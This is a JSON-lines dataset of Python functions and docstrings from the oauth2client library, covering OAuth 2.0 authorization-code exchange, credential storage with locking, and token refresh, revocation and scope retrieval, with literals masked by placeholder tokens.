{"signature": "@_helpers.positional(<NUM_LIT:4>)<EOL>def credentials_from_code(client_id, client_secret, scope, code,<EOL>redirect_uri='<STR_LIT>', http=None,<EOL>user_agent=None,<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>auth_uri=oauth2client.GOOGLE_AUTH_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI,<EOL>device_uri=oauth2client.GOOGLE_DEVICE_URI,<EOL>token_info_uri=oauth2client.GOOGLE_TOKEN_INFO_URI,<EOL>pkce=False,<EOL>code_verifier=None):", "body": "flow = OAuth2WebServerFlow(client_id, client_secret, scope,<EOL>redirect_uri=redirect_uri,<EOL>user_agent=user_agent,<EOL>auth_uri=auth_uri,<EOL>token_uri=token_uri,<EOL>revoke_uri=revoke_uri,<EOL>device_uri=device_uri,<EOL>token_info_uri=token_info_uri,<EOL>pkce=pkce,<EOL>code_verifier=code_verifier)<EOL>credentials = flow.step2_exchange(code, http=http)<EOL>return credentials<EOL>", "docstring": "Exchanges an authorization code for an OAuth2Credentials object.\n\n    Args:\n        client_id: string, client identifier.\n        client_secret: string, client secret.\n        scope: string or iterable of strings, scope(s) to request.\n        code: string, An authorization code, most likely passed down from\n              the client\n        redirect_uri: string, this is generally set to 'postmessage' to match\n                      the redirect_uri that the client specified\n        http: httplib2.Http, optional http instance to use to do the fetch\n        token_uri: string, URI for token endpoint. For convenience defaults\n                   to Google's endpoints but any OAuth 2.0 provider can be\n                   used.\n        auth_uri: string, URI for authorization endpoint. For convenience\n                  defaults to Google's endpoints but any OAuth 2.0 provider\n                  can be used.\n        revoke_uri: string, URI for revoke endpoint. For convenience\n                    defaults to Google's endpoints but any OAuth 2.0 provider\n                    can be used.\n        device_uri: string, URI for device authorization endpoint. For\n                    convenience defaults to Google's endpoints but any OAuth\n                    2.0 provider can be used.\n        pkce: boolean, default: False, Generate and include a \"Proof Key\n              for Code Exchange\" (PKCE) with your authorization and token\n              requests. This adds security for installed applications that\n              cannot protect a client_secret. See RFC 7636 for details.\n        code_verifier: bytestring or None, default: None, parameter passed\n                       as part of the code exchange when pkce=True. If\n                       None, a code_verifier will automatically be\n                       generated as part of step1_get_authorize_url(). See\n                       RFC 7636 for details.\n\n    Returns:\n        An OAuth2Credentials object.\n\n    Raises:\n        FlowExchangeError if the authorization code cannot be exchanged for an\n        access token", "id": "f2472:m17"}
{"signature": "@_helpers.positional(<NUM_LIT:3>)<EOL>def credentials_from_clientsecrets_and_code(filename, scope, code,<EOL>message=None,<EOL>redirect_uri='<STR_LIT>',<EOL>http=None,<EOL>cache=None,<EOL>device_uri=None):", "body": "flow = flow_from_clientsecrets(filename, scope, message=message,<EOL>cache=cache, redirect_uri=redirect_uri,<EOL>device_uri=device_uri)<EOL>credentials = flow.step2_exchange(code, http=http)<EOL>return credentials<EOL>", "docstring": "Returns OAuth2Credentials from a clientsecrets file and an auth code.\n\n    Will create the right kind of Flow based on the contents of the\n    clientsecrets file or will raise InvalidClientSecretsError for unknown\n    types of Flows.\n\n    Args:\n        filename: string, File name of clientsecrets.\n        scope: string or iterable of strings, scope(s) to request.\n        code: string, An authorization code, most likely passed down from\n              the client\n        message: string, A friendly string to display to the user if the\n                 clientsecrets file is missing or invalid. If message is\n                 provided then sys.exit will be called in the case of an error.\n                 If message in not provided then\n                 clientsecrets.InvalidClientSecretsError will be raised.\n        redirect_uri: string, this is generally set to 'postmessage' to match\n                      the redirect_uri that the client specified\n        http: httplib2.Http, optional http instance to use to do the fetch\n        cache: An optional cache service client that implements get() and set()\n               methods. See clientsecrets.loadfile() for details.\n        device_uri: string, OAuth 2.0 device authorization endpoint\n        pkce: boolean, default: False, Generate and include a \"Proof Key\n              for Code Exchange\" (PKCE) with your authorization and token\n              requests. This adds security for installed applications that\n              cannot protect a client_secret. See RFC 7636 for details.\n        code_verifier: bytestring or None, default: None, parameter passed\n                       as part of the code exchange when pkce=True. If\n                       None, a code_verifier will automatically be\n                       generated as part of step1_get_authorize_url(). See\n                       RFC 7636 for details.\n\n    Returns:\n        An OAuth2Credentials object.\n\n    Raises:\n        FlowExchangeError: if the authorization code cannot be exchanged for an\n                           access token\n        UnknownClientSecretsFlowError: if the file describes an unknown kind\n                                       of Flow.\n        clientsecrets.InvalidClientSecretsError: if the clientsecrets file is\n                                                 invalid.", "id": "f2472:m18"}
{"signature": "def _oauth2_web_server_flow_params(kwargs):", "body": "params = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:code>',<EOL>}<EOL>params.update(kwargs)<EOL>approval_prompt = params.get('<STR_LIT>')<EOL>if approval_prompt is not None:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>if approval_prompt == '<STR_LIT>':<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>params['<STR_LIT>'] = '<STR_LIT>'<EOL>del params['<STR_LIT>']<EOL><DEDENT><DEDENT>return params<EOL>", "docstring": "Configures redirect URI parameters for OAuth2WebServerFlow.", "id": "f2472:m19"}
{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL>def flow_from_clientsecrets(filename, scope, redirect_uri=None,<EOL>message=None, cache=None, login_hint=None,<EOL>device_uri=None, pkce=None, code_verifier=None,<EOL>prompt=None):", "body": "try:<EOL><INDENT>client_type, client_info = clientsecrets.loadfile(filename,<EOL>cache=cache)<EOL>if client_type in (clientsecrets.TYPE_WEB,<EOL>clientsecrets.TYPE_INSTALLED):<EOL><INDENT>constructor_kwargs = {<EOL>'<STR_LIT>': redirect_uri,<EOL>'<STR_LIT>': client_info['<STR_LIT>'],<EOL>'<STR_LIT>': client_info['<STR_LIT>'],<EOL>'<STR_LIT>': login_hint,<EOL>}<EOL>revoke_uri = client_info.get('<STR_LIT>')<EOL>optional = (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>for param in optional:<EOL><INDENT>if locals()[param] is not None:<EOL><INDENT>constructor_kwargs[param] = locals()[param]<EOL><DEDENT><DEDENT>return OAuth2WebServerFlow(<EOL>client_info['<STR_LIT>'], client_info['<STR_LIT>'],<EOL>scope, **constructor_kwargs)<EOL><DEDENT><DEDENT>except clientsecrets.InvalidClientSecretsError as e:<EOL><INDENT>if message is not None:<EOL><INDENT>if e.args:<EOL><INDENT>message = ('<STR_LIT>'<EOL>'<STR_LIT>'.format(e, message))<EOL><DEDENT>sys.exit(message)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise UnknownClientSecretsFlowError(<EOL>'<STR_LIT>'.format(client_type))<EOL><DEDENT>", "docstring": "Create a Flow from a clientsecrets file.\n\n    Will create the right kind of Flow based on the contents of the\n    clientsecrets file or will raise InvalidClientSecretsError for unknown\n    types of Flows.\n\n    Args:\n        filename: string, File name of client secrets.\n        scope: string or iterable of strings, scope(s) to request.\n        redirect_uri: string, Either the string 'urn:ietf:wg:oauth:2.0:oob' for\n                      a non-web-based application, or a URI that handles the\n                      callback from the authorization server.\n        message: string, A friendly string to display to the user if the\n                 clientsecrets file is missing or invalid. If message is\n                 provided then sys.exit will be called in the case of an error.\n                 If message in not provided then\n                 clientsecrets.InvalidClientSecretsError will be raised.\n        cache: An optional cache service client that implements get() and set()\n               methods. See clientsecrets.loadfile() for details.\n        login_hint: string, Either an email address or domain. Passing this\n                    hint will either pre-fill the email box on the sign-in form\n                    or select the proper multi-login session, thereby\n                    simplifying the login flow.\n        device_uri: string, URI for device authorization endpoint. For\n                    convenience defaults to Google's endpoints but any\n                    OAuth 2.0 provider can be used.\n\n    Returns:\n        A Flow object.\n\n    Raises:\n        UnknownClientSecretsFlowError: if the file describes an unknown kind of\n                                       Flow.\n        clientsecrets.InvalidClientSecretsError: if the clientsecrets file is\n                                                 invalid.", "id": "f2472:m20"}
{"signature": "def authorize(self, http):", "body": "raise NotImplementedError<EOL>", "docstring": "Take an httplib2.Http instance (or equivalent) and authorizes it.\n\n        Authorizes it for the set of credentials, usually by replacing\n        http.request() with a method that adds in the appropriate headers and\n        then delegates to the original Http.request() method.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the refresh\n                  request.", "id": "f2472:c13:m0"}
{"signature": "def refresh(self, http):", "body": "raise NotImplementedError<EOL>", "docstring": "Forces a refresh of the access_token.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the refresh\n                  request.", "id": "f2472:c13:m1"}
{"signature": "def revoke(self, http):", "body": "raise NotImplementedError<EOL>", "docstring": "Revokes a refresh_token and makes the credentials void.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the revoke\n                  request.", "id": "f2472:c13:m2"}
{"signature": "def apply(self, headers):", "body": "raise NotImplementedError<EOL>", "docstring": "Add the authorization to the headers.\n\n        Args:\n            headers: dict, the headers to add the Authorization header to.", "id": "f2472:c13:m3"}
{"signature": "def _to_json(self, strip, to_serialize=None):", "body": "curr_type = self.__class__<EOL>if to_serialize is None:<EOL><INDENT>to_serialize = copy.copy(self.__dict__)<EOL><DEDENT>else:<EOL><INDENT>to_serialize = copy.copy(to_serialize)<EOL><DEDENT>for member in strip:<EOL><INDENT>if member in to_serialize:<EOL><INDENT>del to_serialize[member]<EOL><DEDENT><DEDENT>to_serialize['<STR_LIT>'] = _parse_expiry(<EOL>to_serialize.get('<STR_LIT>'))<EOL>to_serialize['<STR_LIT>'] = curr_type.__name__<EOL>to_serialize['<STR_LIT>'] = curr_type.__module__<EOL>for key, val in to_serialize.items():<EOL><INDENT>if isinstance(val, bytes):<EOL><INDENT>to_serialize[key] = val.decode('<STR_LIT:utf-8>')<EOL><DEDENT>if isinstance(val, set):<EOL><INDENT>to_serialize[key] = list(val)<EOL><DEDENT><DEDENT>return json.dumps(to_serialize)<EOL>", "docstring": "Utility function that creates JSON repr. of a Credentials object.\n\n        Args:\n            strip: array, An array of names of members to exclude from the\n                   JSON.\n            to_serialize: dict, (Optional) The properties for this object\n                          that will be serialized. This allows callers to\n                          modify before serializing.\n\n        Returns:\n            string, a JSON representation of this instance, suitable to pass to\n            from_json().", "id": "f2472:c13:m4"}
{"signature": "def to_json(self):", "body": "return self._to_json(self.NON_SERIALIZED_MEMBERS)<EOL>", "docstring": "Creating a JSON representation of an instance of Credentials.\n\n        Returns:\n            string, a JSON representation of this instance, suitable to pass to\n            from_json().", "id": "f2472:c13:m5"}
{"signature": "@classmethod<EOL><INDENT>def new_from_json(cls, json_data):<DEDENT>", "body": "json_data_as_unicode = _helpers._from_bytes(json_data)<EOL>data = json.loads(json_data_as_unicode)<EOL>module_name = data['<STR_LIT>']<EOL>try:<EOL><INDENT>module_obj = __import__(module_name)<EOL><DEDENT>except ImportError:<EOL><INDENT>module_name = module_name.replace('<STR_LIT>', '<STR_LIT>')<EOL>module_obj = __import__(module_name)<EOL><DEDENT>module_obj = __import__(module_name,<EOL>fromlist=module_name.split('<STR_LIT:.>')[:-<NUM_LIT:1>])<EOL>kls = getattr(module_obj, data['<STR_LIT>'])<EOL>return kls.from_json(json_data_as_unicode)<EOL>", "docstring": "Utility class method to instantiate a Credentials subclass from JSON.\n\n        Expects the JSON string to have been produced by to_json().\n\n        Args:\n            json_data: string or bytes, JSON from to_json().\n\n        Returns:\n            An instance of the subclass of Credentials that was serialized with\n            to_json().", "id": "f2472:c13:m6"}
{"signature": "@classmethod<EOL><INDENT>def from_json(cls, unused_data):<DEDENT>", "body": "return Credentials()<EOL>", "docstring": "Instantiate a Credentials object from a JSON description of it.\n\n        The JSON should have been produced by calling .to_json() on the object.\n\n        Args:\n            unused_data: dict, A deserialized JSON object.\n\n        Returns:\n            An instance of a Credentials subclass.", "id": "f2472:c13:m7"}
{"signature": "def __init__(self, lock=None):", "body": "self._lock = lock<EOL>", "docstring": "Create a Storage instance.\n\n        Args:\n            lock: An optional threading.Lock-like object. Must implement at\n                  least acquire() and release(). Does not need to be\n                  re-entrant.", "id": "f2472:c15:m0"}
{"signature": "def acquire_lock(self):", "body": "if self._lock is not None:<EOL><INDENT>self._lock.acquire()<EOL><DEDENT>", "docstring": "Acquires any lock necessary to access this Storage.\n\n        This lock is not reentrant.", "id": "f2472:c15:m1"}
{"signature": "def release_lock(self):", "body": "if self._lock is not None:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Release the Storage lock.\n\n        Trying to release a lock that isn't held will result in a\n        RuntimeError in the case of a threading.Lock or multiprocessing.Lock.", "id": "f2472:c15:m2"}
{"signature": "def locked_get(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Retrieve credential.\n\n        The Storage lock must be held when this is called.\n\n        Returns:\n            oauth2client.client.Credentials", "id": "f2472:c15:m3"}
{"signature": "def locked_put(self, credentials):", "body": "raise NotImplementedError<EOL>", "docstring": "Write a credential.\n\n        The Storage lock must be held when this is called.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2472:c15:m4"}
{"signature": "def locked_delete(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Delete a credential.\n\n        The Storage lock must be held when this is called.", "id": "f2472:c15:m5"}
{"signature": "def get(self):", "body": "self.acquire_lock()<EOL>try:<EOL><INDENT>return self.locked_get()<EOL><DEDENT>finally:<EOL><INDENT>self.release_lock()<EOL><DEDENT>", "docstring": "Retrieve credential.\n\n        The Storage lock must *not* be held when this is called.\n\n        Returns:\n            oauth2client.client.Credentials", "id": "f2472:c15:m6"}
{"signature": "def put(self, credentials):", "body": "self.acquire_lock()<EOL>try:<EOL><INDENT>self.locked_put(credentials)<EOL><DEDENT>finally:<EOL><INDENT>self.release_lock()<EOL><DEDENT>", "docstring": "Write a credential.\n\n        The Storage lock must be held when this is called.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2472:c15:m7"}
{"signature": "def delete(self):", "body": "self.acquire_lock()<EOL>try:<EOL><INDENT>return self.locked_delete()<EOL><DEDENT>finally:<EOL><INDENT>self.release_lock()<EOL><DEDENT>", "docstring": "Delete credential.\n\n        Frees any resources associated with storing the credential.\n        The Storage lock must *not* be held when this is called.\n\n        Returns:\n            None", "id": "f2472:c15:m8"}
{"signature": "@_helpers.positional(<NUM_LIT:8>)<EOL><INDENT>def __init__(self, access_token, client_id, client_secret, refresh_token,<EOL>token_expiry, token_uri, user_agent, revoke_uri=None,<EOL>id_token=None, token_response=None, scopes=None,<EOL>token_info_uri=None, id_token_jwt=None):<DEDENT>", "body": "self.access_token = access_token<EOL>self.client_id = client_id<EOL>self.client_secret = client_secret<EOL>self.refresh_token = refresh_token<EOL>self.store = None<EOL>self.token_expiry = token_expiry<EOL>self.token_uri = token_uri<EOL>self.user_agent = user_agent<EOL>self.revoke_uri = revoke_uri<EOL>self.id_token = id_token<EOL>self.id_token_jwt = id_token_jwt<EOL>self.token_response = token_response<EOL>self.scopes = set(_helpers.string_to_scopes(scopes or []))<EOL>self.token_info_uri = token_info_uri<EOL>self.invalid = False<EOL>", "docstring": "Create an instance of OAuth2Credentials.\n\n        This constructor is not usually called by the user, instead\n        OAuth2Credentials objects are instantiated by the OAuth2WebServerFlow.\n\n        Args:\n            access_token: string, access token.\n            client_id: string, client identifier.\n            client_secret: string, client secret.\n            refresh_token: string, refresh token.\n            token_expiry: datetime, when the access_token expires.\n            token_uri: string, URI of token endpoint.\n            user_agent: string, The HTTP User-Agent to provide for this\n                        application.\n            revoke_uri: string, URI for revoke endpoint. Defaults to None; a\n                        token can't be revoked if this is None.\n            id_token: object, The identity of the resource owner.\n            token_response: dict, the decoded response to the token request.\n                            None if a token hasn't been requested yet. Stored\n                            because some providers (e.g. wordpress.com) include\n                            extra fields that clients may want.\n            scopes: list, authorized scopes for these credentials.\n            token_info_uri: string, the URI for the token info endpoint.\n                            Defaults to None; scopes can not be refreshed if\n                            this is None.\n            id_token_jwt: string, the encoded and signed identity JWT. The\n                          decoded version of this is stored in id_token.\n\n        Notes:\n            store: callable, A callable that when passed a Credential\n                   will store the credential back to where it came from.\n                   This is needed to store the latest access_token if it\n                   has expired and been refreshed.", "id": "f2472:c16:m0"}
{"signature": "def authorize(self, http):", "body": "transport.wrap_http_for_auth(self, http)<EOL>return http<EOL>", "docstring": "Authorize an httplib2.Http instance with these credentials.\n\n        The modified http.request method will add authentication headers to\n        each request and will refresh access_tokens when a 401 is received on a\n        request. In addition the http.request method has a credentials\n        property, http.request.credentials, which is the Credentials object\n        that authorized it.\n\n        Args:\n            http: An instance of ``httplib2.Http`` or something that acts\n                  like it.\n\n        Returns:\n            A modified instance of http that was passed in.\n\n        Example::\n\n            h = httplib2.Http()\n            h = credentials.authorize(h)\n\n        You can't create a new OAuth subclass of httplib2.Authentication\n        because it never gets passed the absolute URI, which is needed for\n        signing. So instead we have to overload 'request' with a closure\n        that adds in the Authorization header and then calls the original\n        version of 'request()'.", "id": "f2472:c16:m1"}
{"signature": "def refresh(self, http):", "body": "self._refresh(http)<EOL>", "docstring": "Forces a refresh of the access_token.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the refresh\n                  request.", "id": "f2472:c16:m2"}
{"signature": "def revoke(self, http):", "body": "self._revoke(http)<EOL>", "docstring": "Revokes a refresh_token and makes the credentials void.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the revoke\n                  request.", "id": "f2472:c16:m3"}
{"signature": "def apply(self, headers):", "body": "headers['<STR_LIT>'] = '<STR_LIT>' + self.access_token<EOL>", "docstring": "Add the authorization to the headers.\n\n        Args:\n            headers: dict, the headers to add the Authorization header to.", "id": "f2472:c16:m4"}
{"signature": "def has_scopes(self, scopes):", "body": "scopes = _helpers.string_to_scopes(scopes)<EOL>return set(scopes).issubset(self.scopes)<EOL>", "docstring": "Verify that the credentials are authorized for the given scopes.\n\n        Returns True if the credentials authorized scopes contain all of the\n        scopes given.\n\n        Args:\n            scopes: list or string, the scopes to check.\n\n        Notes:\n            There are cases where the credentials are unaware of which scopes\n            are authorized. Notably, credentials obtained and stored before\n            this code was added will not have scopes, AccessTokenCredentials do\n            not have scopes. In both cases, you can use refresh_scopes() to\n            obtain the canonical set of scopes.", "id": "f2472:c16:m5"}
{"signature": "def retrieve_scopes(self, http):", "body": "self._retrieve_scopes(http)<EOL>return self.scopes<EOL>", "docstring": "Retrieves the canonical list of scopes for this access token.\n\n        Gets the scopes from the OAuth2 provider.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the refresh\n                  request.\n\n        Returns:\n            A set of strings containing the canonical list of scopes.", "id": "f2472:c16:m6"}
{"signature": "@classmethod<EOL><INDENT>def from_json(cls, json_data):<DEDENT>", "body": "data = json.loads(_helpers._from_bytes(json_data))<EOL>if (data.get('<STR_LIT>') and<EOL>not isinstance(data['<STR_LIT>'], datetime.datetime)):<EOL><INDENT>try:<EOL><INDENT>data['<STR_LIT>'] = datetime.datetime.strptime(<EOL>data['<STR_LIT>'], EXPIRY_FORMAT)<EOL><DEDENT>except ValueError:<EOL><INDENT>data['<STR_LIT>'] = None<EOL><DEDENT><DEDENT>retval = cls(<EOL>data['<STR_LIT>'],<EOL>data['<STR_LIT>'],<EOL>data['<STR_LIT>'],<EOL>data['<STR_LIT>'],<EOL>data['<STR_LIT>'],<EOL>data['<STR_LIT>'],<EOL>data['<STR_LIT>'],<EOL>revoke_uri=data.get('<STR_LIT>', None),<EOL>id_token=data.get('<STR_LIT>', None),<EOL>id_token_jwt=data.get('<STR_LIT>', None),<EOL>token_response=data.get('<STR_LIT>', None),<EOL>scopes=data.get('<STR_LIT>', None),<EOL>token_info_uri=data.get('<STR_LIT>', None))<EOL>retval.invalid = data['<STR_LIT>']<EOL>return retval<EOL>", "docstring": "Instantiate a Credentials object from a JSON description of it.\n\n        The JSON should have been produced by calling .to_json() on the object.\n\n        Args:\n            json_data: string or bytes, JSON to deserialize.\n\n        Returns:\n            An instance of a Credentials subclass.", "id": "f2472:c16:m7"}
{"signature": "@property<EOL><INDENT>def access_token_expired(self):<DEDENT>", "body": "if self.invalid:<EOL><INDENT>return True<EOL><DEDENT>if not self.token_expiry:<EOL><INDENT>return False<EOL><DEDENT>now = _UTCNOW()<EOL>if now >= self.token_expiry:<EOL><INDENT>logger.info('<STR_LIT>',<EOL>now, self.token_expiry)<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "True if the credential is expired or invalid.\n\n        If the token_expiry isn't set, we assume the token doesn't expire.", "id": "f2472:c16:m8"}
{"signature": "def get_access_token(self, http=None):", "body": "if not self.access_token or self.access_token_expired:<EOL><INDENT>if not http:<EOL><INDENT>http = transport.get_http_object()<EOL><DEDENT>self.refresh(http)<EOL><DEDENT>return AccessTokenInfo(access_token=self.access_token,<EOL>expires_in=self._expires_in())<EOL>", "docstring": "Return the access token and its expiration information.\n\n        If the token does not exist, get one.\n        If the token expired, refresh it.", "id": "f2472:c16:m9"}
{"signature": "def set_store(self, store):", "body": "self.store = store<EOL>", "docstring": "Set the Storage for the credential.\n\n        Args:\n            store: Storage, an implementation of Storage object.\n                   This is needed to store the latest access_token if it\n                   has expired and been refreshed. This implementation uses\n                   locking to check for updates before updating the\n                   access_token.", "id": "f2472:c16:m10"}
{"signature": "def _expires_in(self):", "body": "if self.token_expiry:<EOL><INDENT>now = _UTCNOW()<EOL>if self.token_expiry > now:<EOL><INDENT>time_delta = self.token_expiry - now<EOL>return time_delta.days * <NUM_LIT> + time_delta.seconds<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Return the number of seconds until this token expires.\n\n        If token_expiry is in the past, this method will return 0, meaning the\n        token has already expired.\n\n        If token_expiry is None, this method will return None. Note that\n        returning 0 in such a case would not be fair: the token may still be\n        valid; we just don't know anything about it.", "id": "f2472:c16:m11"}
{"signature": "def _updateFromCredential(self, other):", "body": "self.__dict__.update(other.__getstate__())<EOL>", "docstring": "Update this Credential from another instance.", "id": "f2472:c16:m12"}
{"signature": "def __getstate__(self):", "body": "d = copy.copy(self.__dict__)<EOL>del d['<STR_LIT:store>']<EOL>return d<EOL>", "docstring": "Trim the state down to something that can be pickled.", "id": "f2472:c16:m13"}
{"signature": "def __setstate__(self, state):", "body": "self.__dict__.update(state)<EOL>self.store = None<EOL>", "docstring": "Reconstitute the state of the object from being pickled.", "id": "f2472:c16:m14"}
{"signature": "def _generate_refresh_request_body(self):", "body": "body = urllib.parse.urlencode({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT>': self.client_secret,<EOL>'<STR_LIT>': self.refresh_token,<EOL>})<EOL>return body<EOL>", "docstring": "Generate the body that will be used in the refresh request.", "id": "f2472:c16:m15"}
{"signature": "def _generate_refresh_request_headers(self):", "body": "headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>if self.user_agent is not None:<EOL><INDENT>headers['<STR_LIT>'] = self.user_agent<EOL><DEDENT>return headers<EOL>", "docstring": "Generate the headers that will be used in the refresh request.", "id": "f2472:c16:m16"}
{"signature": "def _refresh(self, http):", "body": "if not self.store:<EOL><INDENT>self._do_refresh_request(http)<EOL><DEDENT>else:<EOL><INDENT>self.store.acquire_lock()<EOL>try:<EOL><INDENT>new_cred = self.store.locked_get()<EOL>if (new_cred and not new_cred.invalid and<EOL>new_cred.access_token != self.access_token and<EOL>not new_cred.access_token_expired):<EOL><INDENT>logger.info('<STR_LIT>')<EOL>self._updateFromCredential(new_cred)<EOL><DEDENT>else:<EOL><INDENT>self._do_refresh_request(http)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.store.release_lock()<EOL><DEDENT><DEDENT>", "docstring": "Refreshes the access_token.\n\n        This method first checks by reading the Storage object if available.\n        If a refresh is still needed, it holds the Storage lock until the\n        refresh is completed.\n\n        Args:\n            http: an object to be used to make HTTP requests.\n\n        Raises:\n            HttpAccessTokenRefreshError: When the refresh fails.", "id": "f2472:c16:m17"}
{"signature": "def _do_refresh_request(self, http):", "body": "body = self._generate_refresh_request_body()<EOL>headers = self._generate_refresh_request_headers()<EOL>logger.info('<STR_LIT>')<EOL>resp, content = transport.request(<EOL>http, self.token_uri, method='<STR_LIT:POST>',<EOL>body=body, headers=headers)<EOL>content = _helpers._from_bytes(content)<EOL>if resp.status == http_client.OK:<EOL><INDENT>d = json.loads(content)<EOL>self.token_response = d<EOL>self.access_token = d['<STR_LIT>']<EOL>self.refresh_token = d.get('<STR_LIT>', self.refresh_token)<EOL>if '<STR_LIT>' in d:<EOL><INDENT>delta = datetime.timedelta(seconds=int(d['<STR_LIT>']))<EOL>self.token_expiry = delta + _UTCNOW()<EOL><DEDENT>else:<EOL><INDENT>self.token_expiry = None<EOL><DEDENT>if '<STR_LIT>' in d:<EOL><INDENT>self.id_token = _extract_id_token(d['<STR_LIT>'])<EOL>self.id_token_jwt = d['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.id_token = None<EOL>self.id_token_jwt = None<EOL><DEDENT>self.invalid = False<EOL>if self.store:<EOL><INDENT>self.store.locked_put(self)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>', content)<EOL>error_msg = '<STR_LIT>'.format(resp.status)<EOL>try:<EOL><INDENT>d = json.loads(content)<EOL>if '<STR_LIT:error>' in d:<EOL><INDENT>error_msg = d['<STR_LIT:error>']<EOL>if '<STR_LIT>' in d:<EOL><INDENT>error_msg += '<STR_LIT>' + d['<STR_LIT>']<EOL><DEDENT>self.invalid = True<EOL>if self.store is not None:<EOL><INDENT>self.store.locked_put(self)<EOL><DEDENT><DEDENT><DEDENT>except (TypeError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>raise HttpAccessTokenRefreshError(error_msg, status=resp.status)<EOL><DEDENT>", "docstring": "Refresh the access_token using the refresh_token.\n\n        Args:\n            http: an object to be used to make HTTP requests.\n\n        Raises:\n            HttpAccessTokenRefreshError: When the refresh fails.", "id": "f2472:c16:m18"}
{"signature": "def _revoke(self, http):", "body": "self._do_revoke(http, self.refresh_token or self.access_token)<EOL>", "docstring": "Revokes this credential and deletes the stored copy (if it exists).\n\n        Args:\n            http: an object to be used to make HTTP requests.", "id": "f2472:c16:m19"}
{"signature": "def _do_revoke(self, http, token):", "body": "logger.info('<STR_LIT>')<EOL>query_params = {'<STR_LIT>': token}<EOL>token_revoke_uri = _helpers.update_query_params(<EOL>self.revoke_uri, query_params)<EOL>resp, content = transport.request(http, token_revoke_uri)<EOL>if resp.status == http_client.METHOD_NOT_ALLOWED:<EOL><INDENT>body = urllib.parse.urlencode(query_params)<EOL>resp, content = transport.request(http, token_revoke_uri,<EOL>method='<STR_LIT:POST>', body=body)<EOL><DEDENT>if resp.status == http_client.OK:<EOL><INDENT>self.invalid = True<EOL><DEDENT>else:<EOL><INDENT>error_msg = '<STR_LIT>'.format(resp.status)<EOL>try:<EOL><INDENT>d = json.loads(_helpers._from_bytes(content))<EOL>if '<STR_LIT:error>' in d:<EOL><INDENT>error_msg = d['<STR_LIT:error>']<EOL><DEDENT><DEDENT>except (TypeError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>raise TokenRevokeError(error_msg)<EOL><DEDENT>if self.store:<EOL><INDENT>self.store.delete()<EOL><DEDENT>", "docstring": "Revokes this credential and deletes the stored copy (if it exists).\n\n        Args:\n            http: an object to be used to make HTTP requests.\n            token: A string used as the token to be revoked. Can be either an\n                   access_token or refresh_token.\n\n        Raises:\n            TokenRevokeError: If the revoke request does not return with a\n                              200 OK.", "id": "f2472:c16:m20"}
{"signature": "def _retrieve_scopes(self, http):", "body": "self._do_retrieve_scopes(http, self.access_token)<EOL>", "docstring": "Retrieves the list of authorized scopes from the OAuth2 provider.\n\n        Args:\n            http: an object to be used to make HTTP requests.", "id": "f2472:c16:m21"}
{"signature": "def _do_retrieve_scopes(self, http, token):", "body": "logger.info('<STR_LIT>')<EOL>query_params = {'<STR_LIT>': token, '<STR_LIT>': '<STR_LIT>'}<EOL>token_info_uri = _helpers.update_query_params(<EOL>self.token_info_uri, query_params)<EOL>resp, content = transport.request(http, token_info_uri)<EOL>content = _helpers._from_bytes(content)<EOL>if resp.status == http_client.OK:<EOL><INDENT>d = json.loads(content)<EOL>self.scopes = set(_helpers.string_to_scopes(d.get('<STR_LIT>', '<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>error_msg = '<STR_LIT>'.format(resp.status)<EOL>try:<EOL><INDENT>d = json.loads(content)<EOL>if '<STR_LIT>' in d:<EOL><INDENT>error_msg = d['<STR_LIT>']<EOL><DEDENT><DEDENT>except (TypeError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>raise Error(error_msg)<EOL><DEDENT>", "docstring": "Retrieves the list of authorized scopes from the OAuth2 provider.\n\n        Args:\n            http: an object to be used to make HTTP requests.\n            token: A string used as the token to identify the credentials to\n                   the provider.\n\n        Raises:\n            Error: When refresh fails, indicating the the access token is\n                   invalid.", "id": "f2472:c16:m22"}
{"signature": "def __init__(self, access_token, user_agent, revoke_uri=None):", "body": "super(AccessTokenCredentials, self).__init__(<EOL>access_token,<EOL>None,<EOL>None,<EOL>None,<EOL>None,<EOL>None,<EOL>user_agent,<EOL>revoke_uri=revoke_uri)<EOL>", "docstring": "Create an instance of OAuth2Credentials\n\n        This is one of the few types if Credentials that you should contrust,\n        Credentials objects are usually instantiated by a Flow.\n\n        Args:\n            access_token: string, access token.\n            user_agent: string, The HTTP User-Agent to provide for this\n                        application.\n            revoke_uri: string, URI for revoke endpoint. Defaults to None; a\n                        token can't be revoked if this is None.", "id": "f2472:c17:m0"}
